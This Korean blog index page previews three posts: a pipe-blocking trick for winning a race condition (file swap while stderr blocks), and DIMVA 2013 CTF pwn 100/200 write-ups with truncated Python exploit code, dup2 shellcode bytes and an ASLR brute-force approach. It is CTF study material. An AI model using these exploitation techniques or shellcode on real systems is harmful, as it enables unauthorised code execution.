본문 바로가기

Race Condition one-shot exploit 레이스컨디션도 한번에 성공시킬수 있는 트릭들이 몇가지 있다.아래의 코드는 그 트릭중 하나인, PIPE를 이용한 exploit이다.PIPE를 가득채운후, stderr를 그 파이프에 연결해둔다.이렇게되면, 어떤 에러메세지가 뜰때, 파이프가 꽉차있기때문에 그 에러메세지를 버퍼에 넣지 못해고 잠깐 멈추게 된다.멈춰있는동안 파일 바꿔치기 작업을 여유롭게 해주고 다시 버퍼를 읽어서, 프로그램을 진행시키면 된다.(꼭 실행직전이 아니라도, 실행도중 stdout의 길이에 따라서 멈춘다던가 하는 방법이 가능) 참고: http://dividead.wordpress.com/2009/07/21/blocking-between-execution-and-main/ #include #include #include #include #i.. 더보기
[DIMVA 2013] pwn 200 exploit 같은 문제에, NX만 없애고, 더이상 레지스터를 보여주지 않는다.이건, pwn 100에서 딴 쉘을 이용해서 풀었다.pwn 100에서, "objdump -T ????/libc.so.6 | grep system" 명령어와 "ldd"명령어를 통해 system 주소의 처음 2바이트와 마지막 3바이트를 알아냈다. (첫 2바이트는 f7, 뒤 3바이트는 430)ASLR은 중간 3바이트에만 걸리기때문에, 해당부분은 브루트포싱을 해서 구해낸다. 아래는 익스플로잇(주석은 stage1으로, 시스템 주소를 알아내는 작업, 그 후에는 주석처리를 한 후 원하는 커맨드를 입력한다.) from socket import * from struct import * import hashlib import time for i in range.. 더보기
[DIMVA 2013] pwn 100 exploit NX가 걸려있지 않았고, 레지스트를 보여줬다.그래서 그냥 해당 주소에 쉘코드를 넣고, EIP를 그쪽으로 우회하면 된다. from struct import * import hashlib import time import sys s = socket(AF_INET, SOCK_STREAM) s.connect(('dimvactf.0x90.eu',1116)) raw_input('go?') s.settimeout(2) s.recv(1024) fd = 4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # ./msfvenom.. 더보기